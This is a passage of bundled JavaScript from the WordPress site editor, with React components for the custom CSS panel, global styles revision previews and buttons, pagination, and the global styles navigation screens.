const {
useGlobalStyle: screen_css_useGlobalStyle,
AdvancedPanel: screen_css_StylesAdvancedPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenCSS() {
const description = (0,external_wp_i18n_namespaceObject.__)('Add your own CSS to customize the appearance and layout of your site.');
const [style] = screen_css_useGlobalStyle('', undefined, 'user', {
shouldDecodeEncode: false
});
const [inheritedStyle, setStyle] = screen_css_useGlobalStyle('', undefined, 'all', {
shouldDecodeEncode: false
});
const {
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('CSS'),
description: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [description, /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, {
href: (0,external_wp_i18n_namespaceObject.__)('https://developer.wordpress.org/advanced-administration/wordpress/css/'),
className: "edit-site-global-styles-screen-css-help-link",
children: (0,external_wp_i18n_namespaceObject.__)('Learn more about CSS')
})]
}),
onBack: () => {
setEditorCanvasContainerView(undefined);
}
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles-screen-css",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_css_StylesAdvancedPanel, {
value: style,
onChange: setStyle,
inheritedValue: inheritedStyle
})
})]
});
}
/* harmony default export */ const screen_css = (ScreenCSS);
;// ./node_modules/@wordpress/edit-site/build-module/components/revisions/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
ExperimentalBlockEditorProvider: revisions_ExperimentalBlockEditorProvider,
GlobalStylesContext: revisions_GlobalStylesContext,
useGlobalStylesOutputWithConfig: revisions_useGlobalStylesOutputWithConfig,
__unstableBlockStyleVariationOverridesWithConfig
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
mergeBaseAndUserConfigs: revisions_mergeBaseAndUserConfigs
} = unlock(external_wp_editor_namespaceObject.privateApis);
function revisions_isObjectEmpty(object) {
return !object || Object.keys(object).length === 0;
}
function Revisions({
userConfig,
blocks
}) {
const {
base: baseConfig
} = (0,external_wp_element_namespaceObject.useContext)(revisions_GlobalStylesContext);
const mergedConfig = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!revisions_isObjectEmpty(userConfig) && !revisions_isObjectEmpty(baseConfig)) {
return revisions_mergeBaseAndUserConfigs(baseConfig, userConfig);
}
return {};
}, [baseConfig, userConfig]);
const renderedBlocksArray = (0,external_wp_element_namespaceObject.useMemo)(() => Array.isArray(blocks) ? blocks : [blocks], [blocks]);
const originalSettings = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_blockEditor_namespaceObject.store).getSettings(), []);
const settings = (0,external_wp_element_namespaceObject.useMemo)(() => ({
...originalSettings,
isPreviewMode: true
}), [originalSettings]);
const [globalStyles] = revisions_useGlobalStylesOutputWithConfig(mergedConfig);
const editorStyles = !revisions_isObjectEmpty(globalStyles) && !revisions_isObjectEmpty(userConfig) ? globalStyles : settings.styles;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(editor_canvas_container, {
title: (0,external_wp_i18n_namespaceObject.__)('Revisions'),
closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)('Close revisions'),
enableResizing: true,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.__unstableIframe, {
className: "edit-site-revisions__iframe",
name: "revisions",
tabIndex: 0,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("style", {
children:
// Forming a "block formatting context" to prevent margin collapsing.
// @see https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Block_formatting_context
`.is-root-container { display: flow-root; }`
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, {
className: "edit-site-revisions__example-preview__content",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(revisions_ExperimentalBlockEditorProvider, {
value: renderedBlocksArray,
settings: settings,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockList, {
renderAppender: false
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableEditorStyles, {
styles: editorStyles
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(__unstableBlockStyleVariationOverridesWithConfig, {
config: mergedConfig
})]
})
})]
})
});
}
/* harmony default export */ const components_revisions = (Revisions);
;// external ["wp","date"]
const external_wp_date_namespaceObject = window["wp"]["date"];
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/revisions-buttons.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const DAY_IN_MILLISECONDS = 60 * 60 * 1000 * 24;
const {
getGlobalStylesChanges
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ChangesSummary({
revision,
previousRevision
}) {
const changes = getGlobalStylesChanges(revision, previousRevision, {
maxResults: 7
});
if (!changes.length) {
return null;
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
"data-testid": "global-styles-revision-changes",
className: "edit-site-global-styles-screen-revisions__changes",
children: changes.map(change => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
children: change
}, change))
});
}
/**
* Returns a button label for the revision.
*
* @param {string|number} id A revision object.
* @param {string} authorDisplayName Author name.
* @param {string} formattedModifiedDate Revision modified date formatted.
* @param {boolean} areStylesEqual Whether the revision matches the current editor styles.
* @return {string} Translated label.
*/
function getRevisionLabel(id, authorDisplayName, formattedModifiedDate, areStylesEqual) {
if ('parent' === id) {
return (0,external_wp_i18n_namespaceObject.__)('Reset the styles to the theme defaults');
}
if ('unsaved' === id) {
return (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: author display name */
(0,external_wp_i18n_namespaceObject.__)('Unsaved changes by %s'), authorDisplayName);
}
return areStylesEqual ? (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: author display name. 2: revision creation date.
(0,external_wp_i18n_namespaceObject.__)('Changes saved by %1$s on %2$s. This revision matches current editor styles.'), authorDisplayName, formattedModifiedDate) : (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: author display name. 2: revision creation date.
(0,external_wp_i18n_namespaceObject.__)('Changes saved by %1$s on %2$s'), authorDisplayName, formattedModifiedDate);
}
/**
* Returns a rendered list of revisions buttons.
*
* @typedef {Object} props
* @property {Array<Object>} userRevisions A collection of user revisions.
* @property {number} selectedRevisionId The id of the currently-selected revision.
* @property {Function} onChange Callback fired when a revision is selected.
*
* @param {props} Component props.
* @return {JSX.Element} The modal component.
*/
function RevisionsButtons({
userRevisions,
selectedRevisionId,
onChange,
canApplyRevision,
onApplyRevision
}) {
const {
currentThemeName,
currentUser
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getCurrentTheme,
getCurrentUser
} = select(external_wp_coreData_namespaceObject.store);
const currentTheme = getCurrentTheme();
return {
currentThemeName: currentTheme?.name?.rendered || currentTheme?.stylesheet,
currentUser: getCurrentUser()
};
}, []);
const dateNowInMs = (0,external_wp_date_namespaceObject.getDate)().getTime();
const {
datetimeAbbreviated
} = (0,external_wp_date_namespaceObject.getSettings)().formats;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, {
orientation: "vertical",
className: "edit-site-global-styles-screen-revisions__revisions-list",
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Global styles revisions list'),
role: "listbox",
children: userRevisions.map((revision, index) => {
const {
id,
author,
modified
} = revision;
const isUnsaved = 'unsaved' === id;
// Unsaved changes are created by the current user.
const revisionAuthor = isUnsaved ? currentUser : author;
const authorDisplayName = revisionAuthor?.name || (0,external_wp_i18n_namespaceObject.__)('User');
const authorAvatar = revisionAuthor?.avatar_urls?.['48'];
const isFirstItem = index === 0;
const isSelected = selectedRevisionId ? selectedRevisionId === id : isFirstItem;
const areStylesEqual = !canApplyRevision && isSelected;
const isReset = 'parent' === id;
const modifiedDate = (0,external_wp_date_namespaceObject.getDate)(modified);
const displayDate = modified && dateNowInMs - modifiedDate.getTime() > DAY_IN_MILLISECONDS ? (0,external_wp_date_namespaceObject.dateI18n)(datetimeAbbreviated, modifiedDate) : (0,external_wp_date_namespaceObject.humanTimeDiff)(modified);
const revisionLabel = getRevisionLabel(id, authorDisplayName, (0,external_wp_date_namespaceObject.dateI18n)(datetimeAbbreviated, modifiedDate), areStylesEqual);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Composite.Item, {
className: "edit-site-global-styles-screen-revisions__revision-item",
"aria-current": isSelected,
role: "option",
onKeyDown: event => {
const {
keyCode
} = event;
if (keyCode === external_wp_keycodes_namespaceObject.ENTER || keyCode === external_wp_keycodes_namespaceObject.SPACE) {
onChange(revision);
}
},
onClick: event => {
event.preventDefault();
onChange(revision);
},
"aria-selected": isSelected,
"aria-label": revisionLabel,
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {}),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "edit-site-global-styles-screen-revisions__revision-item-wrapper",
children: isReset ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
className: "edit-site-global-styles-screen-revisions__description",
children: [(0,external_wp_i18n_namespaceObject.__)('Default styles'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "edit-site-global-styles-screen-revisions__meta",
children: currentThemeName
})]
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
className: "edit-site-global-styles-screen-revisions__description",
children: [isUnsaved ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
className: "edit-site-global-styles-screen-revisions__date",
children: (0,external_wp_i18n_namespaceObject.__)('(Unsaved)')
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("time", {
className: "edit-site-global-styles-screen-revisions__date",
dateTime: modified,
children: displayDate
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("span", {
className: "edit-site-global-styles-screen-revisions__meta",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("img", {
alt: authorDisplayName,
src: authorAvatar
}), authorDisplayName]
}), isSelected && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ChangesSummary, {
revision: revision,
previousRevision: index < userRevisions.length ? userRevisions[index + 1] : {}
})]
})
}), isSelected && (areStylesEqual ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
className: "edit-site-global-styles-screen-revisions__applied-text",
children: (0,external_wp_i18n_namespaceObject.__)('These styles are already applied to your site.')
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "compact",
variant: "primary",
className: "edit-site-global-styles-screen-revisions__apply-button",
onClick: onApplyRevision,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Apply the selected revision to your site.'),
children: isReset ? (0,external_wp_i18n_namespaceObject.__)('Reset to defaults') : (0,external_wp_i18n_namespaceObject.__)('Apply')
}))]
}, id);
})
});
}
/* harmony default export */ const revisions_buttons = (RevisionsButtons);
;// ./node_modules/@wordpress/edit-site/build-module/components/pagination/index.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
function Pagination({
currentPage,
numPages,
changePage,
totalItems,
className,
disabled = false,
buttonVariant = 'tertiary',
label = (0,external_wp_i18n_namespaceObject.__)('Pagination')
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
as: "nav",
"aria-label": label,
spacing: 3,
justify: "flex-start",
className: dist_clsx('edit-site-pagination', className),
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
variant: "muted",
className: "edit-site-pagination__total",
children:
// translators: %s: Total number of patterns.
(0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Total number of patterns.
(0,external_wp_i18n_namespaceObject._n)('%s item', '%s items', totalItems), totalItems)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
spacing: 1,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: buttonVariant,
onClick: () => changePage(1),
accessibleWhenDisabled: true,
disabled: disabled || currentPage === 1,
label: (0,external_wp_i18n_namespaceObject.__)('First page'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_next : library_previous,
size: "compact"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: buttonVariant,
onClick: () => changePage(currentPage - 1),
accessibleWhenDisabled: true,
disabled: disabled || currentPage === 1,
label: (0,external_wp_i18n_namespaceObject.__)('Previous page'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right : chevron_left,
size: "compact"
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
variant: "muted",
children: (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: Current page number. 2: Total number of pages.
(0,external_wp_i18n_namespaceObject._x)('%1$s of %2$s', 'paging'), currentPage, numPages)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
expanded: false,
spacing: 1,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: buttonVariant,
onClick: () => changePage(currentPage + 1),
accessibleWhenDisabled: true,
disabled: disabled || currentPage === numPages,
label: (0,external_wp_i18n_namespaceObject.__)('Next page'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right,
size: "compact"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: buttonVariant,
onClick: () => changePage(numPages),
accessibleWhenDisabled: true,
disabled: disabled || currentPage === numPages,
label: (0,external_wp_i18n_namespaceObject.__)('Last page'),
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? library_previous : library_next,
size: "compact"
})]
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-revisions/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
GlobalStylesContext: screen_revisions_GlobalStylesContext,
areGlobalStyleConfigsEqual: screen_revisions_areGlobalStyleConfigsEqual
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const PAGE_SIZE = 10;
function ScreenRevisions() {
const {
user: currentEditorGlobalStyles,
setUserConfig
} = (0,external_wp_element_namespaceObject.useContext)(screen_revisions_GlobalStylesContext);
const {
blocks,
editorCanvasContainerView
} = (0,external_wp_data_namespaceObject.useSelect)(select => ({
editorCanvasContainerView: unlock(select(store)).getEditorCanvasContainerView(),
blocks: select(external_wp_blockEditor_namespaceObject.store).getBlocks()
}), []);
const [currentPage, setCurrentPage] = (0,external_wp_element_namespaceObject.useState)(1);
const [currentRevisions, setCurrentRevisions] = (0,external_wp_element_namespaceObject.useState)([]);
const {
revisions,
isLoading,
hasUnsavedChanges,
revisionsCount
} = useGlobalStylesRevisions({
query: {
per_page: PAGE_SIZE,
page: currentPage
}
});
const numPages = Math.ceil(revisionsCount / PAGE_SIZE);
const [currentlySelectedRevision, setCurrentlySelectedRevision] = (0,external_wp_element_namespaceObject.useState)(currentEditorGlobalStyles);
const [isLoadingRevisionWithUnsavedChanges, setIsLoadingRevisionWithUnsavedChanges] = (0,external_wp_element_namespaceObject.useState)(false);
const {
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const selectedRevisionMatchesEditorStyles = screen_revisions_areGlobalStyleConfigsEqual(currentlySelectedRevision, currentEditorGlobalStyles);
// The actual code that triggers the revisions screen to navigate back
// to the home screen in in `packages/edit-site/src/components/global-styles/ui.js`.
const onCloseRevisions = () => {
const canvasContainerView = editorCanvasContainerView === 'global-styles-revisions:style-book' ? 'style-book' : undefined;
setEditorCanvasContainerView(canvasContainerView);
};
const restoreRevision = revision => {
setUserConfig(() => revision);
setIsLoadingRevisionWithUnsavedChanges(false);
onCloseRevisions();
};
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (!isLoading && revisions.length) {
setCurrentRevisions(revisions);
}
}, [revisions, isLoading]);
const firstRevision = revisions[0];
const currentlySelectedRevisionId = currentlySelectedRevision?.id;
const shouldSelectFirstItem = !!firstRevision?.id && !selectedRevisionMatchesEditorStyles && !currentlySelectedRevisionId;
(0,external_wp_element_namespaceObject.useEffect)(() => {
/*
* Ensure that the first item is selected and loaded into the preview pane
* when no revision is selected and the selected styles don't match the current editor styles.
* This is required in case editor styles are changed outside the revisions panel,
* e.g., via the reset styles function of useGlobalStylesReset().
* See: https://github.com/WordPress/gutenberg/issues/55866
*/
if (shouldSelectFirstItem) {
setCurrentlySelectedRevision(firstRevision);
}
}, [shouldSelectFirstItem, firstRevision]);
// Only display load button if there is a revision to load,
// and it is different from the current editor styles.
const isLoadButtonEnabled = !!currentlySelectedRevisionId && currentlySelectedRevisionId !== 'unsaved' && !selectedRevisionMatchesEditorStyles;
const hasRevisions = !!currentRevisions.length;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: revisionsCount &&
// translators: %s: number of revisions.
(0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('Revisions (%s)'), revisionsCount),
description: (0,external_wp_i18n_namespaceObject.__)('Click on previously saved styles to preview them. To restore a selected version to the editor, hit "Apply." When you\'re ready, use the Save button to save your changes.'),
onBack: onCloseRevisions
}), !hasRevisions && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {
className: "edit-site-global-styles-screen-revisions__loading"
}), hasRevisions && (editorCanvasContainerView === 'global-styles-revisions:style-book' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book, {
userConfig: currentlySelectedRevision,
isSelected: () => {},
onClose: () => {
setEditorCanvasContainerView('global-styles-revisions');
}
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(components_revisions, {
blocks: blocks,
userConfig: currentlySelectedRevision,
closeButtonLabel: (0,external_wp_i18n_namespaceObject.__)('Close revisions')
})), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(revisions_buttons, {
onChange: setCurrentlySelectedRevision,
selectedRevisionId: currentlySelectedRevisionId,
userRevisions: currentRevisions,
canApplyRevision: isLoadButtonEnabled,
onApplyRevision: () => hasUnsavedChanges ? setIsLoadingRevisionWithUnsavedChanges(true) : restoreRevision(currentlySelectedRevision)
}), numPages > 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles-screen-revisions__footer",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Pagination, {
className: "edit-site-global-styles-screen-revisions__pagination",
currentPage: currentPage,
numPages: numPages,
changePage: setCurrentPage,
totalItems: revisionsCount,
disabled: isLoading,
label: (0,external_wp_i18n_namespaceObject.__)('Global Styles pagination')
})
}), isLoadingRevisionWithUnsavedChanges && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
isOpen: isLoadingRevisionWithUnsavedChanges,
confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Apply'),
onConfirm: () => restoreRevision(currentlySelectedRevision),
onCancel: () => setIsLoadingRevisionWithUnsavedChanges(false),
size: "medium",
children: (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to apply this revision? Any unsaved changes will be lost.')
})]
});
}
/* harmony default export */ const screen_revisions = (ScreenRevisions);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/ui.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const SLOT_FILL_NAME = 'GlobalStylesMenu';
const {
useGlobalStylesReset: ui_useGlobalStylesReset
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const {
Slot: GlobalStylesMenuSlot,
Fill: GlobalStylesMenuFill
} = (0,external_wp_components_namespaceObject.createSlotFill)(SLOT_FILL_NAME);
function GlobalStylesActionMenu() {
const [canReset, onReset] = ui_useGlobalStylesReset();
const {
toggle
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
const {
canEditCSS
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecord,
__experimentalGetCurrentGlobalStylesId
} = select(external_wp_coreData_namespaceObject.store);
const globalStylesId = __experimentalGetCurrentGlobalStylesId();
const globalStyles = globalStylesId ? getEntityRecord('root', 'globalStyles', globalStylesId) : undefined;
return {
canEditCSS: !!globalStyles?._links?.['wp:action-edit-css']
};
}, []);
const {
setEditorCanvasContainerView
} = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
const loadCustomCSS = () => {
setEditorCanvasContainerView('global-styles-css');
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesMenuFill, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('More'),
toggleProps: {
size: 'compact'
},
children: ({
onClose
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
children: [canEditCSS && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: loadCustomCSS,
children: (0,external_wp_i18n_namespaceObject.__)('Additional CSS')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => {
toggle('core/edit-site', 'welcomeGuideStyles');
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Welcome Guide')
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => {
onReset();
onClose();
},
disabled: !canReset,
children: (0,external_wp_i18n_namespaceObject.__)('Reset styles')
})
})]
})
})
});
}
function GlobalStylesNavigationScreen({
className,
...props
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Navigator.Screen, {
className: ['edit-site-global-styles-sidebar__navigator-screen', className].filter(Boolean).join(' '),
...props
});
}
function BlockStylesNavigationScreens({
parentMenu,
blockStyles,
blockName
}) {
return blockStyles.map((style, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: parentMenu + '/variations/' + style.name,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_block, {
name: blockName,
variation: style.name
})
}, index));
}
function ContextScreens({
name,
parentMenu = ''
}) {
const blockStyleVariations = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getBlockStyles
} = select(external_wp_blocks_namespaceObject.store);
return getBlockStyles(name);
}, [name]);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: parentMenu + '/colors/palette',
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(screen_color_palette, {
name: name
})
}), !!blockStyleVariations?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockStylesNavigationScreens, {
parentMenu: parentMenu,
blockStyles: blockStyleVariations,
blockName: name
})]
});
}
function GlobalStylesStyleBook() {
const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
const {
path
} = navigator.location;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(style_book, {
isSelected: blockName =>
// Match '/blocks/core%2Fbutton' and
// '/blocks/core%2Fbutton/typography', but not
// '/blocks/core%2Fbuttons'.
path === `/blocks/${encodeURIComponent(blockName)}` || path.startsWith(`/blocks/${encodeURIComponent(blockName)}/`),
onSelect: blockName => {
if (STYLE_BOOK_COLOR_GROUPS.find(group => group.slug === blockName)) {
// Go to color palettes Global Styles.
navigator.goTo('/colors/palette');
return;
}
if (blockName === 'typography') {
// Go to typography Global Styles.
navigator.goTo('/typography');
return;
}
// Now go to the selected block.
navigator.goTo('/blocks/' + encodeURIComponent(blockName));
}
});
}
function GlobalStylesBlockLink() {
const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
const {
selectedBlockName,
selectedBlockClientId
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getSelectedBlockClientId,
getBlockName
} = select(external_wp_blockEditor_namespaceObject.store);
const clientId = getSelectedBlockClientId();
return {
selectedBlockName: getBlockName(clientId),
selectedBlockClientId: clientId
};
}, []);
const blockHasGlobalStyles = useBlockHasGlobalStyles(selectedBlockName);
// When we're in the `Blocks` screen enable deep linking to the selected block.
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (!selectedBlockClientId || !blockHasGlobalStyles) {
return;
}
const currentPath = navigator.location.path;
if (currentPath !== '/blocks' && !currentPath.startsWith('/blocks/')) {
return;
}
const newPath = '/blocks/' + encodeURIComponent(selectedBlockName);
// Avoid navigating to the same path. This can happen when selecting
// a new block of the same type.
if (newPath !== currentPath) {
navigator.goTo(newPath, {
skipFocus: true
});
}
}, [selectedBlockClientId, selectedBlockName, blockHasGlobalStyles]);
}
function GlobalStylesEditorCanvasContainerLink() {
const {
goTo,
location
} = (0,external_wp_components_namespaceObject.useNavigator)();
const editorCanvasContainerView = (0,external_wp_data_namespaceObject.useSelect)(select => unlock(select(store)).getEditorCanvasContainerView(), []);
const path = location?.path;
const isRevisionsOpen = path === '/revisions';
// If the user switches the editor canvas container view, redirect
// to the appropriate screen. This effectively allows deep linking to the
// desired screens from outside the global styles navigation provider.
(0,external_wp_element_namespaceObject.useEffect)(() => {
switch (editorCanvasContainerView) {
case 'global-styles-revisions':
case 'global-styles-revisions:style-book':
if (!isRevisionsOpen) {
goTo('/revisions');
}
break;
case 'global-styles-css':
goTo('/css');
break;
// The stand-alone style book is open
// and the revisions panel is open,
// close the revisions panel.
// Otherwise keep the style book open while
// browsing global styles panel.
//
// Falling through as it matches the default scenario.
case 'style-book':
default:
// In general, if the revision screen is in view but the
// `editorCanvasContainerView` is not a revision view, close it.
// This also includes the scenario when the stand-alone style
// book is open, in which case we want the user to close the
// revisions screen and browse global styles.
if (isRevisionsOpen) {
goTo('/', {
isBack: true
});
}
break;
}
}, [editorCanvasContainerView, isRevisionsOpen, goTo]);
}
function useNavigatorSync(parentPath, onPathChange) {
const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
const {
path: childPath
} = navigator.location;
const previousParentPath = (0,external_wp_compose_namespaceObject.usePrevious)(parentPath);
const previousChildPath = (0,external_wp_compose_namespaceObject.usePrevious)(childPath);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (parentPath !== childPath) {
if (parentPath !== previousParentPath) {
navigator.goTo(parentPath);
} else if (childPath !== previousChildPath) {
onPathChange(childPath);
}
}
}, [onPathChange, parentPath, previousChildPath, previousParentPath, childPath, navigator]);
}
// This component is used to wrap the hook in order to conditionally execute it
// when the parent component is used on controlled mode.
function NavigationSync({
path: parentPath,
onPathChange,
children
}) {
useNavigatorSync(parentPath, onPathChange);
return children;
}
function GlobalStylesUI({
path,
onPathChange
}) {
const blocks = (0,external_wp_blocks_namespaceObject.getBlockTypes)();
const editorCanvasContainerView = (0,external_wp_data_namespaceObject.useSelect)(select => unlock(select(store)).getEditorCanvasContainerView(), []);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator, {
className: "edit-site-global-styles-sidebar__navigator-provider",
initialPath: "/",
children: [path && onPathChange && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationSync, {
path: path,
onPathChange: onPathChange
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(GlobalStylesNavigationScreen, {
path: "/",
